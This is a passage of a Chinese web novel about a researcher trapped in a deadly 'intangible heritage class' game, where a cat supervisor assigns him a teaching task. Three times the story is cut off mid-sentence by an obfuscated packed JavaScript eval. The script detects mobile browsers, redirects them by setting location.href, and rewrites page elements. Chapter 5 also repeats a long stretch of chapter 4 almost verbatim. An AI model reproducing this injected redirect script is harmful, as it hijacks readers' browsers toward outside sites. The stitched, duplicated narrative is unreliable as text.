《三步shui服独立副人格[无限]》 3. 进入小课堂(3) 【是的。】 机械声仿佛卡带一般,发出滋啦滋啦的声响。 【拥有神谕的新世界。】 【在这里,你将拥有无限的可能!】 【你可以创造生命,篡改过去,攫取钱财,甚至获得永生!】 【在这里,神将他的能力下放给每一个人!你们都是天才!是神选中的新子民!是未来不可或缺的一份子!】 【只要能完成神的任务!你想拥有的一切,神都会拱手奉上!】 明明是古波无惊的机械音,却硬生生被句子的组合排列带出了几分令人振奋的慷慨激昂。 可官酉却听得直皱眉。 且不说他是无神论者,根本不信有神存在。 单单从那些句子里获取的信息,都让他觉得啼笑皆非。 什么神的子民,不可获取的一部分;什么神会拱手奉上。 本质上不过是一种交换罢了。 他们完成“任务”,交换想要的“东西”。 那机械音的字里行间对东西进行了无尽的渲染,可任务究竟是什么,却一个字都没提过。 官酉嗤笑一声,面上闪过一丝不屑。 这种小儿科的玩意儿,也只有那些还活着中二世界的少年才会觉得热血沸腾并迫不及待地想加入其中了吧? 他这种大人,可不会上这种当。 而且,比起这些似是而非的鼓舞,他更想知道,他们把章知白弄哪儿去了。 官酉抬起头,打量起四周。 原先的手术室已经随着抹杀倒计时的归零化作无数齑粉飘散,只留下一片浓墨一般的黑色。 黪墨般的雾气不断地在他的鼻尖耳侧眼睫处蛄蛹着,仿佛随时准备着将他吞噬殆尽。 这里就是虚构场景解离后的原本模样? 完全符合他对虚拟数字世界的刻板印象。 机械音等了许久,没能等来祂想要的反应,迟疑的发出提问。 【你不为得此殊荣感到高兴吗?】 “感受不到。”官酉诚实回应,“但如果你能告诉我,你们把章知白弄哪儿去了,我会无比感激。” 共事五年,基础感情早有了。 他实在放任章知白落入险境却见死不救。 【无知的孩子。】 机械音斥责。 【但万能的神啊,会宽宥孩子的无知,只是,死罪能免,活罪难逃。】 【来吧,小惩大戒,开始。】 小惩大戒? 官酉愣了一下,他骤然感觉上半身突然变重,膝盖不堪重负的打弯,整个人直挺挺的跪向地面。 四周的气温在疯狂升高,仿佛浓雾中有熊熊烈火燃烧一般,炙烤着他。 豆大的汗珠从额头沁出,来不及滚落就被蒸发殆尽。 “该死的!就不该听他忽悠!” 官酉撑地的手不自觉的攥紧,双目赤红,在心底疯狂唾骂起章知白来。 “这哪有一点比直接死的强!” “啪嗒——” 水珠滴落的声音瞬间吸引了官酉的注意。 他立刻循声望去,前方的浓雾被拨开,露出一个他无比熟悉的空间! 那是他的实验室,他刚买的游戏舱,甚至连他自己都在! 不仅在,还好好的躺在那把电竞椅上。 只是手脚呈“大”字状张开,被金属束带牢牢地绑着,身边还多出了好几个方方正正的仪器。 “他”上半身衣衫褴褛,无数根电线从破损的布料中延出,搭在前面的方形机器上。 “他”的脑袋被扣在一个巨大的金属头盔,两侧的太阳穴还被贴着圆滚滚的电极片。 冷白色的灯光下,“他”的面容青灰,口唇乌紫,仿佛死了一样。 这是,他意识被上传后遗落在现实的躯体?! 【请保持不动哦~】 一个轻快声音带着喵呜喵呜的尾调忽然响起。 官酉立刻警惕起来:“谁!” 【是喵!代表真理的喵!现在,听喵的话!摸你的心脏!】 指导性话仿佛一记重拳直击官酉的面门。 官酉的神思恍惚了一秒,下意识抬起右手捂向胸口。 黏腻温热却怦怦直跳的触感传来,他低头一看,本该完好无损的胸口破了碗口大的一个洞。 遮挡的胸骨不翼而飞,伸过去的手穿过那个洞口,直直的按在了心脏上。 温热的心脏正在有规律的跳动着。 扑通—— 扑通—— 一下接着一下,仿佛一支自体催眠曲,顺着骨头传入他的大脑。 ……呼,真舒服啊。 仿佛在温度最适宜的水里摸一颗会振动的皮球,也不知道里面会是什么样子…… 他眯了眯眼,神情放松,按在心包上的手仿佛受到了蛊惑一般,突然用力一抓—— 砰—— 砰砰—— 心脏突然开始剧烈跳动,血压紧跟着飙升,裹挟着血液直冲上大脑。 不!停下!这样捏下去会死的! 官酉目眦欲裂,疯狂的在心里警告着自己。 可手掌却像是被操纵了一般,疯狂挤压着自己的心脏,一刻不歇,甚至更快了几分。 面上的肌肉在不住地震颤,口鼻间的血腥气越来越浓,仿佛下一秒,就会有黏腻的液体滴落。 他的意识开始模糊,眼前的世界从明艳走向灰暗,金星四溅。 【别睡着!这次死了就真的死啦!连意识带身体!全部死翘翘啦!】 清脆的声音忽然响起,将官酉的意识从深渊的边缘拽了回来。 官酉打了个激灵,灰暗的眼神瞬间变得清明。 死? 绝对不行! 他才二十九! 他还没活够! 他还没找到生身父母!还没体验过人世种种!还没拿下技术区的至高奖项!还有好多好多的事没有做! 不管是意识还是身体,他都绝对不能死在这儿! 强烈的求生欲下,官酉抬起铅般重的左手压在右手腕上。 五根指头用力一捏,指甲狠狠地嵌入皮肤之中。 他深吸一口气,猛地将手从胸口扯出,巨大的惯性将他带的一踉跄,跌坐在地上。 ……呼,呼…… 官酉大口大口地喘息着,全身跟刚从水里捞起一般,湿漉漉的。 他不敢置信的看着自己的手掌,打了个寒颤。 他立刻联想到那机械音说的小惩大戒! 这就是所谓的惩罚? 可这惩罚为什么会和第一轮抹杀倒计时之后所呈现的画面一模一样? 难不成,那次倒计时之后,攥住自己心脏拼命挤压的手,其实就是自己的?! 只是游戏时间的时间轴具有可拨动性,所以,创建游戏的人将未来时和现在时被拉入了同一空间,并错序排列了?! 官酉握着微微发抖的手腕,强迫自己冷静下来。 忽然,他眼睁睁的看见,金属椅子的“他”突然化成无数光点在他的眼前消散,童声再次响起,带着熟悉的倒计时降临。 【抹杀倒计时01:00:00】 又来?! 官酉怒目圆睁,全身肌肉绷紧,脑袋机敏的晃动着,生怕错过一丝丝危机的降临。 但灾厄并没有降临,他的视野里却凭空多出了三行惨白的大字。 【尊敬的修猫专业技工你好!】 【恭喜你成功通过咪咪审判官的全部考验,正式成为非遗教师团队的一员!】 【你就是我们要找的优秀教师!】 【我是您的咪咪督察咪呜咪呜!】 与此同时,那只蹭过他脚踝的奶牛猫摇着尾巴出现在他的眼前。 【正在努力为您生成身份数据……数据生成完成,读取中,请稍后——】 【姓名:官酉】 【年龄:29】 【身份:实习教师:好可惜,居然没有成为正式工!也没关系!临时工除了福利差一点,需要兑换游戏时长外,也一样拥有教师权利哦!】 【死亡倒计时:00:59:54】 【死亡方式:心脏爆裂】 【成就称号:实践者(绿色(紫色)称号):都说天才是1%的天赋和99%的汗水共同构成,那如果汗水被拉满了呢?天才是否还会诞生? 脸盲症候群(蓝色称号):哇!你这个人!怎么这么不讲武德!往自己的脸上涂马赛克呢!】 【成就称号已佩戴】 【特殊道具:无齿显微镊:似乎来自于手术室?镊子好滑好灵敏。拿着它的你手一定也无比灵巧吧? 实习教师大礼包(待解锁):呀!好幸运的新人!居然开出了这个!只是为什么会上锁呢?】 接下来是一行血红的大字。 【你的目标是:让你带领的课堂成功结业!】 优秀教师? 带领的课堂成功结业? 官酉沉默一瞬,嘴角一扯,露出个轻蔑的微笑。 他突然想起前段时间,来自老板的那一顿谩骂:“能干干,不能干趁早滚蛋!” “实验做不好就算了!带几个师弟都能给人带到破防跑路!” “你确定不是隔壁派来搞垮我们实验室的吗!” 有趣,可太有趣了。 老板眼里的带教废物,居然是系统认证的最佳教师人选。 这个系统的眼光可真是…… 【请不要怀疑系统的眼光!你就是最好的!】 ……太好了! 猩红的字和念头一同浮现,官酉嗤笑一声,“当然。我知道我是最好的。” 那些带不出来的学弟学妹么,是他们自己转不过弯,跟他有什么关系? 你看章知白,五年时间不就从生物小白生长成仅次于的小神了么? 【不愧是被神看中且通过连环考验的男人!抽出你的意识进入游戏就是最好的选择!】 【请务必保持!一切为了伟大的生命!】 【下面由伟大的咪咪督查咪呜咪呜为您介绍我们的团队和产品!】 【这是一款寓教于学,寓教于乐的专业非遗小课堂!为了让每一位热衷于传承非遗的学员好、快、准的掌握技艺,小课堂专门为每一堂课匹配了最合适的小游戏。】 【只有完成小游戏,才能完整的掌握非遗的全部技艺喵!】 【而作为金牌教师团的成员,您需要辅助您的学员完成全部游戏,熟练掌握所有技艺并完成最终作品。】 【当然,老师也是有自己的考核标准的!游戏过程中,会有随机小任务,您需要完成它们。】 【在完成一件最终作品的过程中,每完成一项随机小任务,都会获得积分,积分可以完成任何心愿。】 “等等。”官酉举起右手,打断了它,“咪呜,你好。” 奶牛猫神色一怔,柔顺的毛发忽然炸开,像颗蓬松的棉花糖。 它愤怒的抬起右前爪狠狠地往地上一跺,粉嘟嘟的三瓣嘴张开,发出一声无声的“喵呜~” 【是伟大的咪咪督查咪呜咪呜!】 官酉哽了一下,从善如流的改了口:“好的,咪呜咪呜。” “你是说,这个积分能满足我全部的愿望?” 【当然!小课堂的教师待遇是全宇宙最好的!只要积分足够,您甚至可以建立自己的技术帝国,成为世界首富,让所有质疑您的人统统消失!】 “那你们可真是个好东西!”官酉忍不住赞美,“那如果我想让死者复活呢?” 似乎从未听过这样不合常理的要求,奶牛猫圆滚滚的脸上浮出现出一抹淡淡的疑惑。 毛茸茸的脑袋歪了歪,两只前爪在肚子上好一顿搓磨,扒拉出一些奇奇怪怪的东西。 有黑色塑胶瓶子、标价一亿积分的【躯体再造与灵魂再就业】。 【躯体再造术与灵魂再就业:好可怜哦!怎么就死了呢!不过没关系啦!拥有了这个,就可以重塑肉身,给飞离的灵魂又一个家哦!】 有紫色塑胶瓶子,标价一百万积分的【限时物品附身感应券】。 【限时物品附身感应券:附体!存活新形态!物品也好,宠物也行!但是,禁止附着在人身上哦!】 也有白色塑胶瓶子,标价10积分的【触碰实物体验劵】。 【触碰实物劵:呼啦呼啦!你怎么不小心死掉啦!快快快!拿上这个!半个小时内,和活人没区别!你想用这点时间做什么呢?】 官酉越看眼睛越亮,有了这些,他就可以在成功通关之后,彻底和章知白分开,成为两个完全独立的个体了! 只不过—— 【抹杀倒计时00:50:57】 他没有积分,没有时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618179|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这些物品再好,他都拥有不了。 更何况,被使用人章知白现在还不知道被困在哪里。 “啪嗒——” 一个圆滚滚的方块忽然被奶牛猫从肚皮里搓掉在地上。 【咪呜咪呜的温馨小提醒:您目前剩余的存活时间过低,建议您立刻开启带教,完成实习任务,获取积分、拾取道具、延长死亡倒计时。】 “咪呜咪呜,贴心!” 官酉忍不住朝它竖起大拇指,然后看向地上的方块。 【名称:延长魔方】 【时长:12小时】 【价格:10积分】 【备注:天呐,仅需10积分的延长魔方!是新来的实习教师才有的福利吧!可以用在任何地方,包括延长那里哦!】 官酉:“……” 他默默地移开视线,应该不是那个意思……吧。 “如果我在这里死亡,那我……” 【那意味着您将彻底死亡啦!】 【小课堂截留了您的意识,让您的身体在现实中保持原状。但一旦您的意识在课堂中死亡,那死亡方式就会由虚拟投掷向现实!】 【您也将在您的世界被彻底抹杀!】 官酉扬了扬眉尾,意料之中的答案。 “哪怕是我的身体已经快不行了?” 奶牛猫呼了口气,无声的喵呜着抗议。 【请相信小课堂对生命的守护!不管您当时处于什么样的濒死状态!只要您能进入游戏,您的身体就能存活!】 “那就好。”官酉长舒一口气。 虽然游戏实际对外展示的一切都表明:人的意识失踪之后,身体会以失踪那刻的状态进行封锁,之后不会有任何变化,直到突然死亡。 但官酉始终存疑,现在才终于半放下了心。 这游戏的制作团队,确实有些本事。 他们究竟是怎么做到,在既定发展的时间轴做到单独个体的瞬息暂停? 官酉弯了弯嘴角。 越来越有意思了…… 他忽然开始有些期待起来。 这样有意思的团队制作出来的游戏,也一定不会让人失望吧? 反正他有大把的时间,或许,他可以先好好的感受一下游戏的快乐? 官酉这么想着,转而问道:“为什么我会是教师?这游戏发布时间不短了,进来的人似乎都是学员?” 【因为你与众不同啊!】 奶牛猫眨巴下眼睛,瞳孔忽然向内眼角收,形成对鸡眼。 【完全出乎意料的选择!自然得出完全出乎意料的答案!】 官酉:“……” 好吧,这个答应他完全没猜到。 不过,从介绍来看,不管身份是教师还是学员,似乎都不影响他进行自己的项目研究。 自然如此,没必要纠结。 “最后一个问题,章知白,就是那个之前和我一起来的人,去哪儿了?” 【人?哪里有人?这里不是一直都只有你吗?】 官酉诧异的看向奶牛猫。 它没见过章知白? “和我一起出现在第九次试炼的那个人,或者说那个光斑?” 奶牛猫斩钉截铁的摇摇头。 【第九次试炼,从头到尾都只有您一个人。】 官酉皱起了眉头。 不可能。 章知白肯定来了! 他分明记得,在第九次试炼开启的时候,系统判定过当前试炼存在过旁观者,旁观者就是章知白。 “不可能!”官酉语气十分笃定,“他肯定来了!你们把人藏到哪儿了!” 奶牛猫没有接话茬,它歪了歪脑袋,右侧竖起的耳朵微微一抖,长胡须嘲笑颤了三颤。 【咪呜咪呜不会说谎。但如果您对为什么系统认知和您的认知出现偏差而存在疑惑,在完成第一次教学课堂后,您或许会得到些许线索。】 “第一次教学……好吧。” 确实,只有自己亲自拿到的线索,才最值得信赖。 官酉点点头:“那就开始吧。” 奶牛猫立刻站了起来,原地转了一圈,将信息传了过来。 【课堂信息】 【中国结编制技艺小课堂】 【等级:黑色一星。】 【课堂人数:9人小课堂(含教师)】 【带课教师:官酉】 【课堂日期:4.4出发-4.8结课,5天4晚】 【课堂介绍: 【天呐,一枚小小的绳结居然承载着大大的祝福!这究竟是怎么做到的? 材料?柔软细嫩,一碰就碎。小心些,请再小心些!编织祝福的材料娇贵且珍稀,库存有限,千万别嚯嚯! 可万一嚯嚯没了,又该去哪儿寻找呢? 技术?好复杂多样的工具!好灵活巧妙的双手!好轻柔却快速的动作! 这样的手,该去哪里领取呢? 繁复?那是技艺至臻的完美体现!是祝福的最好的承载! 可,承载的,真的只是祝福吗? 来吧,来编织美好吧!】 【完成课堂最低要求:减员数量小于等于三人。】 【咪呜咪呜的温馨小提示:或许可以挑战一下无伤?会将大量的积分奖励哦!】 随着解锁的信息越多,四周的浓雾就越淡,最终彻底消散。 官酉这才发现,他居然在一辆破旧的大巴车上。 遍布污渍的座椅,被挠花了的车窗,只剩半截的售票处,以及臭气冲天的驾驶室,无一不在无声的诉说着这辆车的凶险和残酷。 可官酉非但不怕,甚至还隐隐有些兴奋。 这辆大巴,他在游戏里也坐过。 大巴所通往的关卡,是整个《猫咪教你玩非遗》最简单的一关。 整个过程,仅需用整个全身的力气将东西归位。 稳了! 官酉捏了下自己的手指,神情放松。 这种难度的游戏,根本不可能有人员伤亡。 这也意味着,他的任务必定能够成功。 【请不要掉以轻心!】 【游戏不等于现状,轻视将会加速死讯的降临!】 【课堂即将开始,今天是第一天,请您在座位上耐心等待所有学员的到来。】 【祝您带课愉快。】 4. 中国结(1) 砰! 重物坠地的声音突兀的响起在大巴内。 一个巨大的旅行包被扔在了地上。 没扎紧的包口散开,露出里面一大块白花花的东西。 而后,车子猛地朝着门口的方向微微一倾—— 第一位学员,上车了。 官酉下意识地看向上车的人。 这是个身材高大的中年男人,约有两米多高,豹头环眼,肌肉虬结。绷紧的衣角上还沾着一点暗红色的污渍。 他忽然抬头,目光猛地对上官酉的视线后,脸上的表情瞬间僵硬,随即耳廓一红,便弯下腰去,拾起那只旅行包,慌里慌张的走到了最后面坐下。 官酉意外地挑了挑眉尾。 他未来的学生,是亡命徒吗? 刚刚经过他的时候,那股铁锈腥气浓得他险些破功,当场皱眉。 官酉微微向左侧了侧头,眼角余光落在那个中年男人身上。 男人正在偷摸着打量他,见他偷瞄过来,立刻低下头去。 粗壮的大腿紧紧并拢,双手乖巧的搭在膝盖上,腰背挺直,俨然一副自闭的模样,嘴里还不断的念叨着:“别看我别看我,我会听话,我会听话……” 官酉有些意外,他脸上的马赛克看起来很可怕吗? 为什么这个男人在瑟瑟发抖? 【滴滴滴——新任务来咯——】 咪呜咪呜的声音忽然响起在他的耳侧。 官酉立刻收敛了心神,将目光放在了新任务上。 【实习教师任务】 【任务名称:教师的威严不容小觑!】 【任务等级:极度困难】 【任务描述:震颤吧!颤栗吧!屈服吧!在这片虚幻的世界之中!向老师低下高傲的头颅!让至少一位学生chen服在老师你最优雅的西装裤下!】 【奖励:10积分,教师套装解锁,获取入场券】 官酉看着看着,眉头渐渐皱起。 教师的尊严不容小觑? 这不是废话吗? 谁敢小觑教师的尊严? 对学生,尤其是种花家学生而言,敬畏师长不早吸烟刻肺了吗? 谁小时候没被老师死亡凝视过? 谁小时候没被粉笔头砸过? 谁小时候没被指桑骂槐过? 官酉不能理解,这有什么值得被强调的,甚至还被评价为“极度困难”。 难不成,在这个游戏里,老师与学生之间的关系,并不像现实那么简单纯粹? 学生不畏惧老师,老师管不住学生。 猜忌、竞争、甚至身份置换,在学生与老师之间会随时发生? 【BIngo~】 【不愧是伟大猫猫神选中的优秀教师,真聪明!无需任何提示就猜对了一半!】 官酉弯了弯嘴角,舒服叹息。 对嘛,游戏只有这样,才足够有意思,值得他花心思玩下去。 不过—— 官酉的目光在“chen服”上敲了一下。 如果完成任务的条件仅仅是需要“chen”服,那他似乎,已经完成了? 毕竟他身后的那位未来的学员,仅仅是和他对视一眼,都已经抖如筛糠了。 官酉想着,问向咪呜咪呜:“咪呜咪呜。” 【咪呜咪呜在!伟大的老师阁下,有什么想问的吗?】 官酉面忽略到咪呜咪呜那中二的称呼,曲起食指,在脏兮兮的玻璃上敲了敲,面无表情的问道:“我的任务奖励呢?” 咪呜咪呜惊奇的瞪着圆滚滚的猫眼儿,毛茸茸的脑袋微微一偏,右耳朝外旋了半圈,抖了一下。 【您还没有完成任务哦!】 “你确定?”官酉的眼神有些危险。 【当然!评判系统是不会出错的!】 【如果您完成了任务,奖励会立刻下发。】 【我们可不是那些坏心眼儿的资本家!立刻结算哦~】 官酉默而不语。 如果系统不会出错,那问题出现在哪儿呢? 他的目光不断的在“chen”上打转。 “chen”,臣? 不对。 按照臣服的名词释义,他的任务是已经完成的。 不管是出于恐惧,还是敬畏,那个中年男人都承诺了“会听话”,这就是“臣服”。 可事实是,他的任务没有完成。 所以,这个“chen”不是“臣”。 那会是什么?陈?晨?趁? 似乎都无法和“服”构成一个专有名词。 官酉忽然想到了一个问题:“你们喵喵分前后鼻音吗?” 咪呜咪呜被问得一愣,一张猫脸写满了懵逼。 【什么是前后鼻音?】 破案了。 官酉心下一松,那就是“诚服”了。 “诚服”的前面通常跟着“心悦”,需要对方真心地服从。 而中年男人的“听话”,源自于对他的“恐惧”,可不是什么“真心”。 这么一看,他确实是没有完成任务。 想到这儿,官酉嘲讽的嗤笑一声。 该说不愧是做游戏的么? 利用了猫猫说话口齿不清的特点,把文字游戏玩到了极致。 嘀嗒,嘀嗒。 【死亡倒计时00:44:44】 过秒的嘀嗒声如同一只打不死的苍蝇,不断的在他的耳畔制造噪音。 但官酉丝毫不觉得烦躁,甚至隐隐的开始兴奋。 时间越少,他就越冷静,大脑也转的越快。 这样的任务,最优选的诚服对象有两种。 一种是一行人里的最强者。 征服了强者,一行人都会对自己心生忌惮。往后的一路上,纵使通行人有千万种不甘,也不敢明显表露。 一种是一行人里的最弱者。 征服了弱者,虽然消弭不了其他人对自己的猜忌,但自己会收服一把最趁手的“刀”,指哪打哪,使命必达。 如果是放在平时,官酉当然想都不想就选强者,但现在时间紧迫,他首先得保证自己能活着。 所以,他当下最好的选择是—— 强!者! 官酉舔了舔嘴角,几乎是瞬间做出了评判。 只有强者,才能激起他的肾上腺素,让他拿出全部的动力来完成任务! 刚刚的中年男人虽然身上的装备齐全,不是新人。 但从上车的那一刻起,就对他表现出浓浓的忌惮和恐惧。 这样的人,实在让他提不起征服的兴趣。 官酉闭上眼,继续等待着,但让他没想到的是,接下来上车的学员也没有一个像强者的。 他们有的块头极大,有的沉默寡言,有的煞气很重。 但不管男女,都在目光和他对接的瞬间,露出惊惶的表情,然后纷纷退避三舍,坐在了当下离他最远的地方。 要糟了。 当第八人上车的时候,官酉终于意识到了这一点。 分给他的学员,没有一个是能打的。 并且,他的时间也只剩下五分之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618180|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一。 【死亡倒计时00:12:59】 官酉的眼里闪过一丝失望的光。 难道他真的要在劣中择优,选一个出来让他“诚服”于自己吗? 如果是这样,他宁可选择当即跳车,利用剩下的时间把实验做完。 至于结果么…… 章知白可是个很会折腾的主,相信用不了多久,他应该就能逃出来找到他……的结果了吧? 【请不要胡思乱想!】 咪呜咪呜的警告声响起。 【大巴上固定刷新点!四周没有建模!全是空气墙!你出不去的!】 官酉:“……” 啊……没劲透了! 官酉刚刚一直维持的腰劲一泄,整个人颓然道缩进脏兮兮的椅子里,丝毫不掩饰脸上的厌恶之色。 他开始胡思乱想。 这所谓的神的分配原则是什么? 力量?实力?还是游戏等级? 如果都不是,就不能根据教师的偏好,分一些他感兴趣,也感兴趣他的人到他的车吗? 官酉歪头看向车窗。 窗外似乎开始下雨了,细密的雨丝在玻璃上留下蜿蜒的水痕。 咪呜咪呜还蹲坐在半空中,雨水似乎能落到它的身上,将它的毛发打湿成一缕一缕的,活脱脱一只可怜兮兮的“落汤猫”。 官酉忽然心生不忍,曲起食指在玻璃上敲了敲:“咪呜咪呜,你不冷吗?” 咪呜咪呜晃了晃脑袋,湿漉漉的毛发被甩起,带出一连串的水珠。 它皱了皱鼻子,三瓣嘴微微张开,吐出一截粉嘟嘟的舌头,疑惑的看着官酉。 【什么是冷?】 “冷?”官酉眨眨眼,似乎陷入了沉思,“热力学第二定律?分子或者原子平动、振动、转动动能较低状态?COP?阿伦尼乌斯公式K指数级降低?还是液氮利用焦耳-汤姆逊效应制冷?” 官酉的话音未落,车门被再次打开,官酉猛的抬起头,目光炯炯的看向车门的方向。 就在车门开启的瞬间,他久违的嗅到了一股名为“危险”的气息! “啪嗒——” 高跟鞋踩地的声音清脆的落在了每个人的耳朵里。 一瞬间,整节车厢陷入安静,所有人的目光都不由自主地落在了那个人的身上,而后瞳孔紧缩,不约而同地倒吸一口气。 这个人,太漂亮了! 身形高瘦,唇红面白,鼻梁高挺。 一双桃花眼弯弯的,似乎一直在笑。 眼眸更像是被特意熏蒸过一般,黑白分明。 上下睫毛浓密均匀,给这双眼增加了一双眼线。 他似乎还没睡醒,一面打着哈欠,一面踏上了台阶。 他没背包,反而拎着个小小的金属手提箱。 扁扁的一长条,里面似乎装不了什么东西。 上来的居然是个妹子! 官酉瞪着双眼,不由得肃然起敬。 这一辆车里,有块头大的,有沉着冷静的,也有煞气十足的。 可偏偏带给他唯一感官刺激的是这个妹子! 她这是在这个世界都经历了什么,居然仅仅靠一个照面,便让他有了一种肾上腺素在疯狂分泌的感觉! 硬茬! 几乎是瞬间,官酉在心里给他下了个定义。 还是个强大到他都有些看不明白的硬茬! 官酉弯了弯嘴角,心生雀跃。 太好了! 他所期待的“被征服者”,终于来了! 他的命有救了! 5. 中国结(2) 官酉:“……” 这任务真的有做的必要? 教师的尊严不容小觑? 这不是废话吗? 谁敢小觑教师的尊严? 对学生,尤其是种花家学生而言,敬畏师长不早吸烟刻肺了吗? 谁小时候没被老师死亡凝视过? 谁小时候没被电子笔砸过? 谁小时候没被指桑骂槐过? 官酉不能理解,这有什么值得被强调的,甚至还被评价为“极度困难”。 难不成,在这个游戏里,老师与学生之间的关系,并不像现实那么简单纯粹? 学生不畏惧老师,老师管不住学生。 猜忌、竞争、甚至身份置换,在学生与老师之间会随时发生? 【BIngo~】 【不愧是伟大的神选中的优秀教师,真聪明!无需任何提示就猜对了一半!】 官酉弯了弯嘴角,舒服叹息。 对嘛,游戏只有这样,才足够有意思,值得他花心思玩下去。 不过—— 官酉的目光在“chen服”上敲了一下。 如果完成任务的条件仅仅是需要“chen”服,那他似乎,已经完成了? 他身后的那位壮汉,仅仅是和他对视一眼,都已经抖如筛糠了。 官酉想着,问向咪呜咪呜:“咪呜咪呜。” 【咪呜咪呜在!伟大的老师阁下,有什么想问的吗?】 官酉面忽略到咪呜咪呜那中二的称呼,曲起食指,在脏兮兮的玻璃上敲了敲,面无表情的问道:“我的任务奖励呢?” 咪呜咪呜惊奇的瞪着圆滚滚的猫眼儿,毛茸茸的脑袋微微一偏,右耳朝外旋了半圈,抖了一下。 【您还没有完成任务哦!】 “你确定?”官酉的眼神有些危险。 【当然!评判系统是不会出错的!】 【如果您完成了任务,奖励会立刻下发。】 【我们可不是那些坏心眼儿的资本家!立刻结算哦~】 官酉默而不语。 如果系统不会出错,那问题出现在哪儿呢? 他的目光不断的在“chen”上打转。 “chen”,臣? 不对。 按照臣服的名词释义,他的任务是已经完成的。 不管是出于恐惧,还是敬畏,那个中年男人都承诺了“会听话”,这就是“臣服”。 可事实是,他的任务没有完成。 所以,这个“chen”不是“臣”。 那会是什么?陈?晨?趁? 似乎都无法和“服”构成一个专有名词。 官酉忽然想到了一个问题:“你们喵喵分前后鼻音吗?” 咪呜咪呜被问得一愣,一张猫脸写满了懵逼。 【什么是前后鼻音?】 破案了。 官酉心下一松,那就是“诚服”了。 “诚服”的前面通常跟着“心悦”,需要对方真心地服从。 而中年男人的“听话”,源自于对他的“恐惧”,可不是什么“真心”。 这么一看,他确实是没有完成任务。 想到这儿,官酉嘲讽的嗤笑一声。 该说不愧是做游戏的么? 利用了猫猫说话口齿不清的特点,把文字游戏玩到了极致。 嘀嗒,嘀嗒。 【抹杀倒计时00:44:44】 过秒的嘀嗒声如同一只打不死的苍蝇,不断的在他的耳畔制造噪音。 但官酉丝毫不觉得烦躁,甚至隐隐的开始兴奋。 时间越少,他就越冷静,大脑也转的越快。 这样的任务通常可以分出两种完成模式。 一种是卓越模式:使一车人对他心悦诚服。 一种是基础模式:使车中一人对他心悦诚服。 两种模式的达成难度不同,所对应的结果也完全不同。 卓越模式下同行,整车的人都将成为他的盟军,而后一路,均是队友,再无对手。 普通模式下同行,若无分歧,一路便会相安无事。 可一旦副本内出现分歧,将会局势骤变,二人对八人,目之所及,皆是不利。 该如何选呢…… 官酉舔了舔嘴角,几乎是瞬间做出了评判。 如果可以,他肯定想都不想直接选前者。 但现在,他得活下去。 官酉抬起头,目光逐一扫过车上的每一个人,寻找着自己的立威目标。 豹头环眼的中年人pass。 他是这辆车上第一个也是唯一一个对他表现出强烈恐惧情绪的人。 而这份恐惧已经被评判系统评定为“失败”。 戴金丝眼镜的中年男人pass。 他身上的上位者气息太重,若无足够的权或利,很难收服。 而这两样,官酉身上刚好都没有。 面上有刀疤的中年壮汉pass。 虽然他看起来老实巴交,可眼底的凶光却怎么都遮不住。 还言辞粗鄙,一举一动都在暴露自私的属性。 这样的人,认拳头不认道义。 收服不难却不能合作。 一旦官酉处于弱势,他必定会是一把从背后伸出的刀。 身材矮小、贼眉鼠眼的男人pass。 从上车起,他就紧紧跟着那个面上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681822|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀疤的男人,生怕别人不知道他们是一伙的。 并肩而立的三位女士pass。 不是官酉看不起女孩子,而是她们的身上流淌着清澈的纯真气息。 二人局面势单力薄,官酉实在不忍心将她们拽入孤立无援之地。 至于落在最后的马尾辫少女…… 官酉的目光直直的落在了她的身上。 黑衣黑裤,面容冷峻。 高高束起的马尾乖顺的立在后脑勺的顶点,发圈处别着个湖蓝色的蝴蝶结。 她似乎察觉出官酉的目光,头朝着官酉的方向一侧,两道目光便直直的对视上。 那眼神平静、冷淡,仿佛不是在看同伴,而是在看一个和自己毫无相关的人。 她很强! 几乎是瞬间,官酉得出了答案。 但这还不够! 他无法从她的眼神中得到那种肾上腺素狂飙的感觉! 这也意味着,她的强仅仅是和自己齐平,还远远达不上他想要的并肩程度! 官酉虚握住了拳头,眼里闪过一丝丝亮晶晶的光。 二人对八人,二人的能力至关重要。 要么是弱者,能被他完全掌控,成为他最好使用的一把刀。 要么是强者,能和他互相交付后背,并肩同行。 官酉对自己的实力十分自信,他从来都不需要刀,他需要的,是一个真正的同伴! 一个能站在他身边,和他共同探讨前行,互不拖后腿的同伴! “可惜了,要是章知白还在就好了……”官酉有些不合时宜的想道,“也不知道他现在怎么样了?” 【敲敲你!敲敲你!】 【关键时刻!可不能随随便便开小差哦!】 【车辆马上就要开走啦!开车前,请务必完成任务哦!】 官酉有些诧异的看向咪呜咪呜。 他第一次知道,这突发任务居然也有时效性。 